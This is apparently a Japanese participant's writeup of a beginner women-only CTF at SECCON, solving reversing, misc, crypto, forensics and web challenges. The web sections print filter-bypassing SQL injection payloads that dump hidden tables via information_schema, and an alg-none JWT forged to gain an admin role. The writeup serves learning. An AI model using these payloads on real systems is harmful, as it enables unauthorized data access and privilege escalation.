概要
2023/12/23にSECCON電脳会議内で実施された、4-Girls Petit CTF(電脳会議内のイベント名は「【女性限定】CTFハンズオン (大会形式・初心者歓迎)」)に参加してきました!
最終的に、web 200, 300のfirst bloodと全体2位を取ることができました🥳 writeup書いてもいいようなので整理がてら書いておきます。
環境
WindowsPC+kali linux(WSL)で、基本的にはkali上で解いていました。GUIがほしいときはkex
でRDPするかWindows側から直接kali内のアプリを呼び出すかという感じ。
(前々からノートPCを買い替えたかったのもありこの機に新しいのを買ったのですが、配送が1日間に合わず持っていけませんでした……無念)
[Tutorial] Welcome (100pt)
初心者の方向けに練習の場をご用意しました(知ってるよ!って方もしばしお付き合いください)
CTFでは問題を解く中で以下のような文字列が手に入ることがあります。これを「フラグ」と呼びます。
この問題のフラグ:
ctf4g{Happy_10th_anniversary!}
この場合は記号の部分 ctf4g{} を含めたすべての文字列を下のフォームに入力して「submit」をクリックします。正解すればポイントが獲得できます。フラグにはアルファベットと数字と記号が含まれますが大文字/小文字は気にしなくて大丈夫です。
まずは試してみましょう!ついでに↓のヒントも見てね。
ctf4g{Happy_10th_anniversary!}
[Reversing] banner4you (100pt)
Flag is hidden somewhere…
file: banner4you
file
コマンドよりELF実行ファイル。とりあえず strings
するとflagが見えた。
┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ file banner4you
banner4you: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4cbe29832e30c66e3ee08bcaf04e36ca5132077c, for GNU/Linux 3.2.0, not stripped
┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ strings banner4you
/lib64/ld-linux-x86-64.so.2
stdout
__libc_start_main
fprintf
__cxa_finalize
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
What does this drawn by ChatGPT look like?
ctf4g{S4nt4_C14us}
;*3$"
* *
/ \__/ \
( @ @ )
\ ^ /
|||||
|||||
GCC: (Debian 13.2.0-5) 13.2.0
Scrt1.o
__abi_tag
crtstuff.c
[略]
ctf4g{S4nt4_C14us}
[Reversing] Find me (200pt)
フラグはどこにある?
file: findme
前問と同じくELFファイルだが、strings
ではflagっぽいものが見えない。IDAで開くと、何かの処理をして最終的にL[I;Ht>?y<>vP9>a9<}m}<;kr
になる文字列( secret_message_enc
)がflagっぽい。
F5キーでデコンパイルを試すと、以下のコードが出てきた。
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 24; ++i )
secret_message_enc[i] ^= 0xFu;
puts("Find me in memory!");
return 0;
}
0xf
でxorしているっぽい。もう一度xorすると元に戻るはずなので、cyberchefにお願いした。
CTF4G{10v31y_61n63rbr34d}
[Misc] この模様はなーんだ? (100pt)
この画像からフラグを取得してみましょう
file: misc_first.png
謎の画像をgoogleの画像検索に掛けると、以下のサイトに似たような画像があった。MaxiCodeと呼ばれる2次元コードの一種とのこと。
ネットにスキャナがあったので問題の画像を放り込むと、flagが取得できた。
ctf4g{Hotwine0rHotChocolate?}
[Misc] christmas card (200pt)
Flag is hidden in this christmas card.
file: christmascard.png
exifなど、ぱっと見えるところにはなさそう。特定の色を取り出すとかかなあということで、以下サイトに放り込む。
適当にボタンを押していたところ、[LSB half]選択時にflagが出てきた。(各最下位ビットだけ取り出した場合……という意味でいいのだろうか)
ctf4g{3nj0y_5te9}
[Misc] 3keywords (300pt)
仲間と協力してキーワードを見つけてください。 見つけたキーワードをアルファベット(辞書)順に並べたとき、導き出される場所があります。
その場所の公式サイトのセカンドレベルドメインがフラグです。
例)たとえば答えが「浅草橋ヒューリックホール&カンファレンス」なら、公式サイトは https://hulic-hall.com/ なので、フラグは ctf4g{hulic-hall} となります。
周りの人と協力しないと解けない、という珍しい問題。
今回のCTF4Gでは、入場時に10周年仕様のステッカー(かわいい)が配られていた。よく見ると文字列などが書いてあり、3種類あるこれらをすべて確認しないと解けない仕様だった。
基本的にひとり1枚だが、終了後に景品として3種類ともいただけたので貼っておく。(右上のPWNも入場時にもらえたもの。これは問題には関係ない。かわいい)
それぞれの内容とキーワードを求めた結果は以下。
ステッカーの内容 | デコード方法 | 解答 |
---|---|---|
0x73 0x65 0x63 0x74 | ASCII | sect |
5 14 3 15 21 18 1 7 5 | アルファベット順(aが1) | encourage |
-... . .- -.. … | 欧文モールス信号 | beads |
問題文の通りアルファベット順にすると "beads encourage sect"。これについては同じテーブルの方々と解いていたのだが、ここで詰まってしまった。文字列でググったりmap検索しても出てこない。
しばらく経った後、同じテーブルの方が「what3words」というサイトを発見。3単語で場所を指定するというものらしい。初めて知った……
what3wordsのサイトで3単語を入力すると「サンタクロース村」がヒットした。
ctf4g{santaclausvillage}
[Crypto] Do not use the default password! (100pt)
世の中には暗号鍵を扱うツールやキーストアの仕組みは色々ありますが、その中でもおちゃめなデフォルトパスワードを持つものがあります。
有名なデフォルトパスワードを持つ鍵ストア「mykeystore.zip」をお渡ししますので、パスワードを推測して中身を見てみてください。
file: mykeystore.zip
与えられたzipファイルを解凍するとキーストアファイルが入っている。"keystore default password" でググると以下がヒットした。
あとはコマンドを調べてchangeit
をパスワードに指定すると、無事中を見ることができた。OwnerやIssuerにflagが入っている。
└─$ keytool -list -v -storepass changeit -keystore mykeystore
Keystore type: PKCS12
Keystore provider: SUN
Your keystore contains 1 entry
Alias name: ctf4g-flagisinside
Creation date: Dec 6, 2023
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=ctf4g{holidayiscoming2023}, OU=10 years anniversary, O=SECCON, C=JP
Issuer: CN=ctf4g{holidayiscoming2023}, OU=10 years anniversary, O=SECCON, C=JP
Serial number: 59f3c64b
Valid from: Wed Dec 06 15:46:03 JST 2023 until: Mon Jun 03 15:46:03 JST 2024
Certificate fingerprints:
SHA1: 9E:BA:9F:53:79:AB:9F:FA:AE:4C:AE:29:8D:B9:87:A0:4E:23:FB:10
SHA256: E1:3A:B2:03:02:12:01:1D:40:B5:D0:87:4A:46:3C:20:0C:BC:93:07:86:D7:6E:63:83:CE:36:DC:9D:12:DF:77
Signature algorithm name: SHA256withDSA
Subject Public Key Algorithm: 2048-bit DSA key
Version: 3
Extensions:
#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: E1 9A 39 65 B7 35 3A AA 35 51 4D BF 29 4D 5D 88 ..9e.5:.5QM.)M].
0010: 01 2E 9D 5F ..._
]
]
***
***
ctf4g{holidayiscoming2023}
[Forensics] Snow covered (100pt)
flagは雪の中に埋めてしまった。
file: snowcovered.pdf
パワポとかで開いて画像を退けるやつだ!というのは分かったものの、officeない場合はどうするんだっけ……としばらく悩む。参加できなかった午前中の講義のテキストも見られる状態にしていただいていたのだが、そこにforemost
コマンドが載っていた。
┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ foremost snowcovered.pdf
Processing: snowcovered.pdf
|*|
生成されたoutputディレクトリの中の画像ファイルを見ると、3ファイルに分けてflagらしき文字列があるのを発見。つなげてsubmitした。
ctf4g{PdFw0nd3rLan:D}
[Web] トナカイ専用 (100pt)
トナカイが使うブラウザでしか閲覧できないサイトです
[webapp URL]
かわいい。
ブラウザ指定ということはUser-Agent
を変えろということっぽいので、Burp SuiteでInterceptして以下のように書き換えた。
User-Agent: ReindeerBrowser
これでレスポンスとしてflagが返ってきた。
ctf4g{y0u_ar3_th3_r3d-n0s3d_r31nd33r}
[Web] Escape (200pt)
サンタさんの担当エリアを確認するサイトがあるけどどうやら脆弱性があるみたい。 サンタさんのサーバから隠された情報を探してプレゼントをゲットしてやるぞ。
まずは、Kyotoの担当を調べてみよう。
[webapp URL]
SQLインジェクションしろということらしい。
入力を試したところ、いくつかのエスケープ処理があることが分かった。エスケープ後の文字列を出力してくれるしSQLエラーも出してくれる、優しい。
- スペースが削除される
-
or
が絵文字🎅🤶🎁に変換される
ただし、それぞれ以下でバイパスできる。
- スペースの代わりに
/**/
(コメントアウト)を使う - 大文字の
OR
を使う
1. OR
で全データ?を出力させる
'OR/**/1=1/**/#a
雑にインジェクションしてみる。
それっぽいものが出てきた……のだが、途中で切れている。ここの出力に文字数制限があるか、別のテーブルがあるかのどちらかだと予想。
どちらを確かめるにしろunion
を使いたいので、列数を揃えるために列数を取得する必要がある。
2. SantaClauses
テーブルの列数を取得する
以下のような形でnull
を増やしていったところ、4つでエラーが出なくなった。
'/**/union/**/select/**/null,null,null,null/**/#a
ついでに適当なnull
を'a'
に変えて、少なくとも3つ目は画面に出力されることを確認した。
3. テーブル名を確認する
'/**/union/**/select/**/null,null,table_name,null/**/from/**/information_schema.tables/**/#a
information_schema.tables
からテーブル名を取得すると、デフォルトのもの以外に以下2つが確認できる。
SantaClauses
SecretSanta
4. カラム名を確認する
まずSantaClauses
テーブルについて確認。
'/**/union/**/select/**/null,null,column_name,null/**/from/**/information_schema.columns/**/where/**/table_name='SantaClauses'/**/#a
カラム名を見るに、出力に使われていたのはこのテーブルっぽい。
id
position
santaname
area
次にSecretSanta
を確認。
'/**/union/**/select/**/null,null,column_name,null/**/from/**/information_schema.columns/**/where/**/table_name='SecretSanta'/**/#a
明らかに怪しいカラムがある。
id
position
santaname
secret
5. SecretSantaテーブルを出力する
怪しいsecret
を出力させる。
'/**/union/**/select/**/null,null,secret,null/**/from/**/SecretSanta/**/#a
残りのflagが出てきた。
ctf4g{Chr1stm@s_Pre5ent:)}
[Web] SecretKey (300pt)
Alice「シークレットセールはしめ切っちゃったみたい。なんとかセールに参加できないかなあ。」
ID: alice PW: p@ssw0rd!
[webapp URL]
お知らせ一覧が表示されている。それぞれのURLが104xx.htmlだったので、Burp SuiteのIntruderを用いて00〜99をブルートフォースする。10458.htmlにシークレットセールのログイン画面があるのを確認できた。
とりあえず問題文にあるクレデンシャルでログインしてみるが、ログイン後画面にてシークレットセールは終わっていると言われてしまう。
URLをいじったりレスポンスを眺めたりしていたところ、cookieの形に見覚えがあることに気が付いた。
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAzMzA5NTExMTk1LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDMzMDk1MTF9.2zM1DTX3frFLKsIeh9pPH14DkRKgGkl-yxc7JY_kSkY; path=/; httponly
適当に先頭のeyJ0e
でググるとJWTだった。JWTといえばデコードしてセッション情報を書き換える方法がありがちなので、とりあえずデコードサイトに発行されたcookieを突っ込む。
role
でいかにも権限を指定していそうだったので、ここを例えばadmin
にすることを考える。更に、中身をいじるためにはアルゴリズムをnone
にして検証回避する必要がある。
pythonのpyjwt
を使うのが楽なようなので、これを使ってrole: admin
かつアルゴリズムがnone
のJWTを生成する。
┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ python
Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyjwt
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'pyjwt'
>>> import jwt
>>> d = {"auth": 1703309878039,"agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36","role": "admin","iat": 1703309878}
>>> jwt.encode(payload=d, algorithm="none")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: PyJWT.encode() missing 1 required positional argument: 'key'
>>> jwt.encode(payload=d, key="", algorithm="none")
'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNzAzMzA5ODc4MDM5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzAzMzA5ODc4fQ.'
Burp Suiteを使ってcookieを生成したものに変更すると、管理者ページが表示されてflagを取得することができた。
GET /10458private HTTP/1.1
Host: 27.133.129.25:43000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://27.133.129.25:43000/10458private
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNzAzMzA5ODc4MDM5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzAzMzA5ODc4fQ.
Connection: close
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>管理者ページ</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootswatch/3.2.0/united/bootstrap.min.css">
<style type="text/css">
.form-signin {
width: 100%;
max-width: 420px;
padding: 15px;
margin: auto;
}
</style>
</head>
<body>
<div class="text-center"><h1>管理者としてログインしました!</h1></div>
<div class="text-center"><span>ctf4g{5nt@'s_s@ck!}</span></div>
<form class="form-signin" action="/10458logout" method="GET">
<div class="text-center mb-4">
<input type="submit" class="btn btn-danger" value="logout" />
</div>
</form>
</body>
</html>
ctf4g{5nt@'s_s@ck!}
かんそう
地方住みゆえ参加するかどうかずっと悩んでいたのですが、めちゃくちゃ楽しかったので来れてよかったです!!飛行機の時間的に午前は参加できず、午後からの参加でした。協力が必須の問題(3keywords)を始めとして、面白い問題ばかりで良かったです。3keywordsについては同テーブルの方々と悩む時間がそこそこ長かったので、解法が出てきたときにテーブル内がとても盛り上がりました。
嬉しかったのでこちらにも書きますが、first bloodと全体2位ということでアクセサリー(キーホルダー?)や中島明日香さんのサイン本をいただいてしまいました。ありがとうございます👏
終了すこし前にランキングを見たときは1位だったので喜んでいたんですが、終わってみたら抜かれてました。ちょっとくやしい。100pt問題しか解けてない分野もあるので、いただいた本でちゃんと勉強したいです。